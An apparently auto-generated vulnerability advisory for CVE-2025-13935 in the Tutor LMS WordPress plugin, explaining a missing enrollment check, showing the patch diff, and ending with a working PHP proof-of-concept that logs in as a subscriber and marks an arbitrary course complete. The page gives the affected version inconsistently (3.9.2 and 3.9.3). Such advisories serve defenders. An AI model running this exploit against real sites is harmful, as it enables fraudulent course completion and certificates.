Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-13935: Tutor LMS – eLearning and online course solution <= 3.9.3 – Missing Authorization to Authenticated (Subscriber+) Arbitrary Course Completion (tutor)

CVE ID CVE-2025-13935
Plugin tutor
Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 3.9.2
Patched Version 3.9.4
Disclosed January 7, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-13935:
This vulnerability allows authenticated attackers with subscriber-level WordPress access to mark any Tutor LMS course as completed without proper enrollment verification. The flaw resides in the ‘mark_course_complete’ function within the Course.php file, enabling unauthorized course completion across all plugin versions up to 3.9.2. The CVSS 4.3 score reflects a medium-severity integrity impact affecting course completion tracking.

Atomic Edge research identified the root cause as missing enrollment verification in the ‘mark_course_complete’ function at line 2119 of tutor/classes/Course.php. The vulnerable function checked only for user authentication via ‘is_user_logged_in()’ but omitted validation of course enrollment status. Attackers could bypass the intended enrollment requirement by directly calling the function with arbitrary course IDs.

The exploitation method involves authenticated WordPress users sending a POST request to the WordPress AJAX endpoint with specific parameters. Attackers target /wp-admin/admin-ajax.php with the action parameter set to ‘tutor_mark_course_complete’ and include a ‘course_id’ parameter containing any valid course identifier. The attack requires only subscriber-level authentication and no enrollment in the targeted course.

The patch adds enrollment verification before allowing course completion. In tutor/classes/Course.php at line 2121, developers inserted ‘if ( ! tutor_utils()->is_enrolled( $course_id, $user_id ) )’ which calls the ‘is_enrolled’ utility function. This check ensures users must be enrolled in a course before marking it complete, terminating execution with an error message if enrollment verification fails.

Successful exploitation compromises course completion integrity across the learning management system. Attackers can falsely claim course completion certificates, manipulate progress tracking, and potentially bypass course prerequisites. This vulnerability undermines the educational platform’s credential verification system and could enable fraudulent certification claims.

Differential between vulnerable and patched code

Code Diff 
--- a/tutor/classes/Course.php
+++ b/tutor/classes/Course.php
@@ -2119,12 +2119,17 @@
 			die( esc_html__( 'Please Sign-In', 'tutor' ) );
 		}

+		if ( ! tutor_utils()->is_enrolled( $course_id, $user_id ) ) {
+			die( esc_html__( 'User is not enrolled in course', 'tutor' ) );
+		}
+
 		/**
 		 * Filter hook provided to restrict course completion. This is useful
 		 * for specific cases like prerequisites. WP_Error should be returned
 		 * from the filter value to prevent the completion.
 		 */
 		$can_complete = apply_filters( 'tutor_user_can_complete_course', true, $user_id, $course_id );
+
 		if ( is_wp_error( $can_complete ) ) {
 			tutor_utils()->redirect_to( $permalink, $can_complete->get_error_message(), 'error' );
 		} else {
@@ -2992,6 +2997,25 @@
 			if ( $password_protected ) {
 				wp_send_json_error( __( 'This course is password protected', 'tutor' ) );
 			}
+
+			/**
+			 * This check was added to address a security issue where users could
+			 * enroll in a course via an AJAX call without purchasing it.
+			 *
+			 * To prevent this, we now verify whether the course is paid.
+			 * Additionally, we check if the user is already enrolled, since
+			 * Tutor's default behavior enrolls users automatically upon purchase.
+			 *
+			 * @since 3.9.4
+			 */
+			if ( tutor_utils()->is_course_purchasable( $course_id ) ) {
+				$is_enrolled = (bool) tutor_utils()->is_enrolled( $course_id, $user_id );
+
+				if ( ! $is_enrolled ) {
+					wp_send_json_error( __( 'Please purchase the course before enrolling', 'tutor' ) );
+				}
+			}
+
 			$enroll = tutor_utils()->do_enroll( $course_id, 0, $user_id );
 			if ( $enroll ) {
 				wp_send_json_success( __( 'Enrollment successfully done!', 'tutor' ) );
--- a/tutor/classes/Quiz.php
+++ b/tutor/classes/Quiz.php
@@ -283,6 +283,12 @@
 		$attempt_details = self::attempt_details( Input::post( 'attempt_id', 0, Input::TYPE_INT ) );
 		$feedback        = Input::post( 'feedback', '', Input::TYPE_KSES_POST );
 		$attempt_info    = isset( $attempt_details->attempt_info ) ? $attempt_details->attempt_info : false;
+		$course_id       = tutor_utils()->avalue_dot( 'course_id', $attempt_info, 0 );
+
+		if ( ! tutor_utils()->is_instructor_of_this_course( get_current_user_id(), $course_id ) ) {
+			wp_send_json_error( tutor_utils()->error_message() );
+		}
+
 		if ( $attempt_info ) {
 			//phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.serialize_unserialize
 			$unserialized = unserialize( $attempt_details->attempt_info );
--- a/tutor/classes/Utils.php
+++ b/tutor/classes/Utils.php
@@ -3281,6 +3281,7 @@
 					ON cmeta.comment_id = c.comment_ID
 					AND cmeta.meta_key = 'tutor_rating'
 			WHERE 	user_meta.meta_key = '_is_tutor_instructor'
+				AND inst_status.meta_key = '_tutor_instructor_status'
 				AND ( user.display_name LIKE %s OR user.user_email = %s )
 				{$status}
 				{$category_where}
@@ -5777,9 +5778,9 @@
 				'icon_classes' => 'tutor-icon-brand-facebook',
 			),
 			'_tutor_profile_twitter'  => array(
-				'label'        => __( 'Twitter', 'tutor' ),
-				'placeholder'  => 'https://twitter.com/username',
-				'icon_classes' => 'tutor-icon-brand-twitter',
+				'label'        => __( 'X', 'tutor' ),
+				'placeholder'  => 'https://x.com/username',
+				'icon_classes' => 'tutor-icon-brand-x-twitter',
 			),
 			'_tutor_profile_linkedin' => array(
 				'label'        => __( 'Linkedin', 'tutor' ),
--- a/tutor/classes/WooCommerce.php
+++ b/tutor/classes/WooCommerce.php
@@ -757,7 +757,7 @@
 				return;
 			}

-			$has_enrollment = tutor_utils()->is_enrolled( $course_id, $customer_id, false );
+			$has_enrollment = tutor_utils()->is_enrolled( $course_id, $customer_id, true );
 			if ( ! $has_enrollment ) {
 				tutor_utils()->do_enroll( $course_id, $order_id, $customer_id );
 			}
--- a/tutor/ecommerce/CheckoutController.php
+++ b/tutor/ecommerce/CheckoutController.php
@@ -19,7 +19,6 @@
 use TutorModelsBillingModel;
 use TutorTraitsJsonResponse;
 use TutorHelpersValidationHelper;
-use TutorProEcommerceGuestCheckoutGuestCheckout;

 if ( ! defined( 'ABSPATH' ) ) {
 	exit;
@@ -989,13 +988,14 @@
 	 * @return void
 	 */
 	public function restrict_checkout_page() {
-		if ( ! is_page( self::get_page_id() ) ) {
+		$page_id = self::get_page_id();
+		if ( ! $page_id || ! is_page( $page_id ) ) {
 			return;
 		}

 		$cart_page_url = CartController::get_page_url();

-		if ( ! is_user_logged_in() && ! GuestCheckout::is_enable() ) {
+		if ( ! is_user_logged_in() && ! apply_filters( 'tutor_is_guest_checkout_enabled', false ) ) {
 			wp_safe_redirect( $cart_page_url );
 			exit;
 		}
--- a/tutor/ecommerce/CouponController.php
+++ b/tutor/ecommerce/CouponController.php
@@ -577,10 +577,7 @@
 	 */
 	public function bulk_action_handler() {
 		tutor_utils()->checking_nonce();
-
-		if ( ! current_user_can( 'manage_options' ) ) {
-			tutor_utils()->error_message();
-		}
+		tutor_utils()->check_current_user_capability();

 		// Get and sanitize input data.
 		$request     = Input::sanitize_array( $_POST ); //phpcs:ignore --sanitized already
@@ -630,9 +627,7 @@
 	public function coupon_permanent_delete() {
 		tutor_utils()->checking_nonce();

-		if ( ! current_user_can( 'manage_options' ) ) {
-			tutor_utils()->error_message();
-		}
+		tutor_utils()->check_current_user_capability();

 		// Get and sanitize input data.
 		$id = Input::post( 'id', 0, Input::TYPE_INT );
--- a/tutor/ecommerce/OrderController.php
+++ b/tutor/ecommerce/OrderController.php
@@ -84,7 +84,7 @@
 			 *
 			 * @since 3.0.0
 			 */
-			add_action( 'wp_ajax_tutor_order_details', array( $this, 'get_order_by_id' ) );
+			add_action( 'wp_ajax_tutor_order_details', array( $this, 'ajax_get_order_details' ) );

 			/**
 			 * Handle AJAX request for marking an order as paid by order ID.
@@ -258,10 +258,9 @@
 	 *
 	 * @return void
 	 */
-	public function get_order_by_id() {
-		if ( ! tutor_utils()->is_nonce_verified() ) {
-			$this->json_response( tutor_utils()->error_message( 'nonce' ), null, HttpHelper::STATUS_BAD_REQUEST );
-		}
+	public function ajax_get_order_details() {
+		tutor_utils()->check_nonce();
+		tutor_utils()->check_current_user_capability();

 		$order_id = Input::post( 'order_id' );

--- a/tutor/includes/droip/backend/ElementGenerator/ActionsGenerator.php
+++ b/tutor/includes/droip/backend/ElementGenerator/ActionsGenerator.php
@@ -12,6 +12,7 @@
 use TUTOR_CERTCertificate;
 use TutorProSubscriptionSubscription;
 use TutorProSubscriptionModelsPlanModel;
+use TutorProSubscriptionModelsSubscriptionModel;
 use TutorEcommerceCheckoutController;
 use TutorProGiftCourseGiftCourse;
 use TutorProSubscriptionSettings;
@@ -82,6 +83,27 @@
 					if (! $entry_box_button_logic->show_enroll_btn) {
 						return '';
 					}
+
+					if (tutor()->has_pro && Subscription::is_enabled()) {
+						$subscription_model = new SubscriptionModel();
+						$tutor_subscription_enrollment = false;
+
+						// For hybrid mode.
+						if (Course::PRICE_TYPE_PAID === tutor_utils()->price_type($course_id) && $subscription_model->has_course_access($course_id)) {
+							$tutor_subscription_enrollment = true;
+						}
+
+						// For membership only mode.
+						if (Settings::membership_only_mode_enabled() && $subscription_model->has_course_access($course_id)) {
+							$tutor_subscription_enrollment = true;
+						}
+
+						if ($tutor_subscription_enrollment) {
+							$extra_attributes .= " data-tutor_subscription_enrollment='true'";
+						}
+					}
+
+
 					return $this->generate_child_element_with_parent_droip_data($extra_attributes);
 				}

@@ -209,7 +231,14 @@
 			case 'membership_btn': {
 					$pricing_page = Settings::get_pricing_page_url();
 					if ($pricing_page) {
-						$extra_attributes .= " data-pricing_url='" . $pricing_page . "'";
+						if (is_user_logged_in()) {
+							$extra_attributes .= " data-pricing_url='" . $pricing_page . "'";
+						} else {
+							$login_url = wp_login_url(wp_get_referer());
+
+							$extra_attributes .= " data-login_url='" . $login_url . "'";
+						}
+
 						return $this->generate_child_element_with_parent_droip_data($extra_attributes);
 					}

@@ -218,15 +247,15 @@

 			case 'gift_course_btn': {
 					if (is_user_logged_in()) {
-						$extra_attributes .= " data-tutor-modal-target='tutor-gift-this-course-modal'";
+						$modal_id = 'tutor-gift-this-course-modal-' . wp_generate_uuid4();
+						$extra_attributes .= " data-tutor-modal-target='$modal_id'";

 						$btn = $this->generate_child_element_with_parent_droip_data($extra_attributes);
-
 						// Capture template output
 						ob_start();
 						tutor_load_template(
 							'single.course.gift-this-course-modal',
-							array('course_id' => $course_id),
+							array('course_id' => $course_id, 'modal_id' => $modal_id),
 							true
 						);

@@ -270,50 +299,51 @@
 			$entry_box_button_logic->show_view_cart_btn = false;
 		}

-		if ($is_paid_course) {
-
-			if (tutor()->has_pro && Subscription::is_enabled() && $course_id) {
+		// Remove this part. These logic come from tutor_entry_box_buttons function.
+		// if ($is_paid_course) {

-				$plan_model = new PlanModel();
-				// Checking is course has subscription plan then show buy now button.
-				$selling_option = Course::get_selling_option($course_id);
-				if (!$selling_option) {
-					$selling_option = Course::SELLING_OPTION_ALL;
-				}
-				if ($selling_option === Course::SELLING_OPTION_SUBSCRIPTION || $selling_option === Course::SELLING_OPTION_BOTH || $selling_option === Course::SELLING_OPTION_ALL) {
+		// 	if (tutor()->has_pro && Subscription::is_enabled() && $course_id) {

-					$items = $plan_model->get_subscription_plans($course_id, PlanModel::STATUS_ACTIVE);
-
-					if (count($items) > 0) {
-						$entry_box_button_logic->show_subscribe_now_btn = true;
-					}
-				}
-
-				// Checking is course has membership plan enabled
-				$selling_option = Course::get_selling_option($course_id);
-				if (!$selling_option) {
-					$selling_option = Course::SELLING_OPTION_ALL;
-				}
-				if ($selling_option === Course::SELLING_OPTION_MEMBERSHIP || $selling_option === Course::SELLING_OPTION_ALL) {
-					$active_membership_plans     = $plan_model->get_membership_plans(PlanModel::STATUS_ACTIVE);
-					if (count($active_membership_plans) > 0) {
-						$entry_box_button_logic->show_membership_btn = true;
-					}
-				}
-			}
-
-			// Checking is course can be gifted then show gift course button.
-			if (class_exists('TutorProGiftCourseInitGift') && class_exists('TutorProGiftCourseGiftCourse')) {
-				$init_gift = new TutorProGiftCourseInitGift();
-				if (tutor()->has_pro && $init_gift->is_enabled() && $course_id) {
-					$can_gift_this_course = GiftCourse::can_gift_course($course_id);
-
-					if ($can_gift_this_course) {
-						$entry_box_button_logic->show_gift_course_btn = true;
-					}
-				}
-			}
-		}
+		// 		$plan_model = new PlanModel();
+		// 		// Checking is course has subscription plan then show buy now button.
+		// 		$selling_option = Course::get_selling_option($course_id);
+		// 		if (!$selling_option) {
+		// 			$selling_option = Course::SELLING_OPTION_ALL;
+		// 		}
+		// 		if ($selling_option === Course::SELLING_OPTION_SUBSCRIPTION || $selling_option === Course::SELLING_OPTION_BOTH || $selling_option === Course::SELLING_OPTION_ALL) {
+
+		// 			$items = $plan_model->get_subscription_plans($course_id, PlanModel::STATUS_ACTIVE);
+
+		// 			if (count($items) > 0) {
+		// 				$entry_box_button_logic->show_subscribe_now_btn = true;
+		// 			}
+		// 		}
+
+		// 		// Checking is course has membership plan enabled
+		// 		$selling_option = Course::get_selling_option($course_id);
+		// 		if (!$selling_option) {
+		// 			$selling_option = Course::SELLING_OPTION_ALL;
+		// 		}
+		// 		if ($selling_option === Course::SELLING_OPTION_MEMBERSHIP || $selling_option === Course::SELLING_OPTION_ALL) {
+		// 			$active_membership_plans     = $plan_model->get_membership_plans(PlanModel::STATUS_ACTIVE);
+		// 			if (count($active_membership_plans) > 0) {
+		// 				$entry_box_button_logic->show_membership_btn = true;
+		// 			}
+		// 		}
+		// 	}
+
+		// 	// Checking is course can be gifted then show gift course button.
+		// 	if (class_exists('TutorProGiftCourseInitGift') && class_exists('TutorProGiftCourseGiftCourse')) {
+		// 		$init_gift = new TutorProGiftCourseInitGift();
+		// 		if (tutor()->has_pro && $init_gift->is_enabled() && $course_id) {
+		// 			$can_gift_this_course = GiftCourse::can_gift_course($course_id);
+
+		// 			if ($can_gift_this_course) {
+		// 				$entry_box_button_logic->show_gift_course_btn = true;
+		// 			}
+		// 		}
+		// 	}
+		// }

 		return $entry_box_button_logic;
 	}
--- a/tutor/includes/droip/backend/ElementGenerator/PriceGenerator.php
+++ b/tutor/includes/droip/backend/ElementGenerator/PriceGenerator.php
@@ -39,20 +39,23 @@
 		}

 		$selling_option = Course::get_selling_option($course_id);
+
+		$is_membership_only_mode_enabled = apply_filters( 'tutor_membership_only_mode', false );
+
 		if(!$selling_option){
 			$selling_option = Course::SELLING_OPTION_ALL;
 		}

 		switch ($type) {
 			case 'free': {
-					if (! $this->isPaidCourse($course_id)) {
+					if (! $this->isPaidCourse($course_id)  && !$is_membership_only_mode_enabled) {
 						return $this->generate_common_element();
 					}
 					return "";
 				}
 			case 'paid': {
 					if ($selling_option === Course::SELLING_OPTION_ALL || $selling_option === Course::SELLING_OPTION_ONE_TIME || $selling_option === Course::SELLING_OPTION_BOTH) {
-						if ($this->isPaidCourse($course_id)) {
+						if ($this->isPaidCourse($course_id) && !$is_membership_only_mode_enabled) {
 							return $this->generate_common_element();
 						}
 					}
@@ -60,7 +63,7 @@
 				}
 			case 'subscription': {
 					if ($selling_option === Course::SELLING_OPTION_ALL || $selling_option === Course::SELLING_OPTION_SUBSCRIPTION || $selling_option === Course::SELLING_OPTION_BOTH) {
-						if (tutor()->has_pro && Subscription::is_enabled()) {
+						if (tutor()->has_pro && Subscription::is_enabled() && !$is_membership_only_mode_enabled) {
 							$plan_model = new PlanModel();
 							$active_subscription_plans = $plan_model->get_subscription_plans($course_id, PlanModel::STATUS_ACTIVE);
 							if ($this->isPaidCourse($course_id) && count($active_subscription_plans) > 0) {
--- a/tutor/includes/droip/backend/Hooks.php
+++ b/tutor/includes/droip/backend/Hooks.php
@@ -397,7 +397,7 @@
         } else if ($args['name'] === 'TUTOR_LMS-subscriptions') {
             if (tutor()->has_pro && Subscription::is_enabled()) {
                 $plan_model = new PlanModel();
-                $items = $plan_model->get_subscription_plans($args['post_parent']);
+                $items = $plan_model->get_subscription_plans($args['post_parent'], PlanModel::STATUS_ACTIVE); // get all active subscription plans
                 return [
                     'data'       => $items,
                     'pagination' => null,
--- a/tutor/includes/droip/backend/VisibilityCondition.php
+++ b/tutor/includes/droip/backend/VisibilityCondition.php
@@ -34,8 +34,11 @@
 			switch ($type) {
 				case 'courses': {
 						$conditions = self::get_course_type_conditions($conditions);
+						break;
 					}
 			}
+
+			$conditions = self::get_lms_setting_type_conditions($conditions);
 		} elseif ($collectionType === 'user') {
 			switch ($type) {
 				case 'courses': {
@@ -602,12 +605,37 @@
 		return $conditions;
 	}

+	private static function get_lms_setting_type_conditions($conditions)
+	{
+		if (!isset($conditions['lms-settings']['fields'])) {
+			$conditions['lms-settings']['fields'] = array();
+		}
+
+		$conditions['lms-settings'] = array(
+			'title'  => 'LMS Settings',
+			'fields' => array_merge(
+				$conditions['lms-settings']['fields'],
+				array(
+					array(
+						'source'        => TDE_APP_PREFIX,
+						'value'         => 'is_membership_only_mode_enabled',
+						'title'         => 'Membership-Only Mode',
+						'operator_type' => 'boolean_operators',
+					)
+				)
+			),
+		);
+
+		return $conditions;
+	}
+
 	public static function element_visibility_condition_check($default_value, $condition, $options)
 	{
 		$source   = $condition['source'];
 		$field    = $condition['field']['value'];
 		$operator = $condition['operator']['value'];
 		$operand  = $condition['operand']['value'];
+		$field_group   = isset($condition['field']['group']) ? $condition['field']['group'] : '';

 		if (isset($options['TUTOR_LMS-subscriptions'])) {
 			$subscription = (array) $options['TUTOR_LMS-subscriptions'];
@@ -619,7 +647,11 @@
 			$membership_feature = (array) $options['membership-feature'];
 			$fieldValue = self::get_membership_feature_field_value($membership_feature, $field);
 		} else {
-			$fieldValue = self::get_course_field_value($field, $options);
+			if ($field_group === 'lms-settings') {
+				$fieldValue = self::get_lms_settings_field_value($field);
+			} else {
+				$fieldValue = self::get_course_field_value($field, $options);
+			}
 		}

 		if ($source === TDE_APP_PREFIX) {
@@ -802,4 +834,19 @@
 				}
 		}
 	}
-}
+
+	private static function get_lms_settings_field_value($field)
+	{
+		switch ($field) {
+			case 'is_membership_only_mode_enabled': {
+					$is_membership_only_mode_enabled = apply_filters('tutor_membership_only_mode', false);
+					return $is_membership_only_mode_enabled;
+				}
+
+			default: {
+					return null;
+				}
+		}
+		return null;
+	}
+}
 No newline at end of file
--- a/tutor/includes/tutor-general-functions.php
+++ b/tutor/includes/tutor-general-functions.php
@@ -1329,7 +1329,7 @@
 			}
 		}

-		return apply_filters( 'tutor_enrollment_buttons', $conditional_buttons );
+		return apply_filters( 'tutor_enrollment_buttons', $conditional_buttons, $course_id, $user_id );
 	}
 }

--- a/tutor/models/CouponModel.php
+++ b/tutor/models/CouponModel.php
@@ -810,7 +810,7 @@
 		} else {
 			$coupon = $this->get_coupon(
 				array(
-					'coupon_code'   => $coupon_code,
+					'coupon_code'   => esc_sql( $coupon_code ),
 					'coupon_status' => self::STATUS_ACTIVE,
 				)
 			);
--- a/tutor/tutor.php
+++ b/tutor/tutor.php
@@ -4,7 +4,7 @@
  * Plugin URI: https://tutorlms.com
  * Description: Tutor is a complete solution for creating a Learning Management System in WordPress way. It can help you to create small to large scale online education site very conveniently. Power features like report, certificate, course preview, private file sharing make Tutor a robust plugin for any educational institutes.
  * Author: Themeum
- * Version: 3.9.2
+ * Version: 3.9.4
  * Author URI: https://themeum.com
  * Requires PHP: 7.4
  * Requires at least: 5.3
@@ -26,7 +26,7 @@
  *
  * @since 1.0.0
  */
-define( 'TUTOR_VERSION', '3.9.2' );
+define( 'TUTOR_VERSION', '3.9.4' );
 define( 'TUTOR_FILE', __FILE__ );

 /**
--- a/tutor/vendor/composer/installed.php
+++ b/tutor/vendor/composer/installed.php
@@ -1,9 +1,9 @@
 <?php return array(
     'root' => array(
         'name' => 'themeum/tutor',
-        'pretty_version' => 'dev-4.0.0-dev',
-        'version' => 'dev-4.0.0-dev',
-        'reference' => '8ea547bfe84f30f1e1f68c90ccdc9a748beb25cb',
+        'pretty_version' => 'dev-master',
+        'version' => 'dev-master',
+        'reference' => '043bcc9b76cd1e56219d167b8be313b5aa933109',
         'type' => 'library',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -11,9 +11,9 @@
     ),
     'versions' => array(
         'themeum/tutor' => array(
-            'pretty_version' => 'dev-4.0.0-dev',
-            'version' => 'dev-4.0.0-dev',
-            'reference' => '8ea547bfe84f30f1e1f68c90ccdc9a748beb25cb',
+            'pretty_version' => 'dev-master',
+            'version' => 'dev-master',
+            'reference' => '043bcc9b76cd1e56219d167b8be313b5aa933109',
             'type' => 'library',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),
--- a/tutor/views/pages/ecommerce/order-list.php
+++ b/tutor/views/pages/ecommerce/order-list.php
@@ -27,7 +27,7 @@
 $limit        = (int) tutor_utils()->get_option( 'pagination_per_page', 10 );
 $offset       = ( $limit * $paged_filter ) - $limit;

-$order_controller = new OrderController();
+$order_controller = new OrderController( false );

 $get_orders  = $order_controller->get_orders( $limit, $offset );
 $orders      = $get_orders['results'];
--- a/tutor/views/pages/view_attempt.php
+++ b/tutor/views/pages/view_attempt.php
@@ -21,12 +21,18 @@
 $attempt_data = $attempt;
 $user_id      = tutor_utils()->avalue_dot( 'user_id', $attempt_data );
 $quiz_id      = $attempt && isset( $attempt->quiz_id ) ? $attempt->quiz_id : 0;
+$course_id    = tutor_utils()->avalue_dot( 'course_id', $attempt_data );
 if ( ! $attempt ) {
-	tutor_utils()->tutor_empty_state( __( 'Attemp not found', 'tutor' ) );
+	tutor_utils()->tutor_empty_state( __( 'Attempt not found', 'tutor' ) );
 	return;
 }
 if ( 0 === $quiz_id ) {
-	tutor_utils()->tutor_empty_state( __( 'Attemp not found', 'tutor' ) );
+	tutor_utils()->tutor_empty_state( __( 'Attempt not found', 'tutor' ) );
+	return;
+}
+
+if ( ! tutor_utils()->is_instructor_of_this_course( get_current_user_id(), $course_id ) ) {
+	tutor_utils()->tutor_empty_state();
 	return;
 }

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC 
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-13935 - Tutor LMS – eLearning and online course solution <= 3.9.3 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Course Completion

<?php

$target_url = 'https://vulnerable-site.com/wp-admin/admin-ajax.php';
$username = 'subscriber_user';
$password = 'subscriber_password';
$course_id = 123; // Target course ID to mark as completed

// Initialize cURL session
$ch = curl_init();

// Step 1: Authenticate to WordPress and obtain cookies
$login_url = str_replace('/wp-admin/admin-ajax.php', '/wp-login.php', $target_url);
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url,
    'testcookie' => '1'
);

curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

$response = curl_exec($ch);

// Step 2: Exploit the missing authorization vulnerability
$exploit_data = array(
    'action' => 'tutor_mark_course_complete',
    'course_id' => $course_id
);

curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($exploit_data));

$exploit_response = curl_exec($ch);

// Check for successful exploitation
if (strpos($exploit_response, 'success') !== false || strpos($exploit_response, 'completed') !== false) {
    echo "[+] Successfully marked course $course_id as completed without enrollmentn";
    echo "[+] Response: $exploit_responsen";
} else {
    echo "[-] Exploit failed. Response: $exploit_responsen";
}

curl_close($ch);

?>

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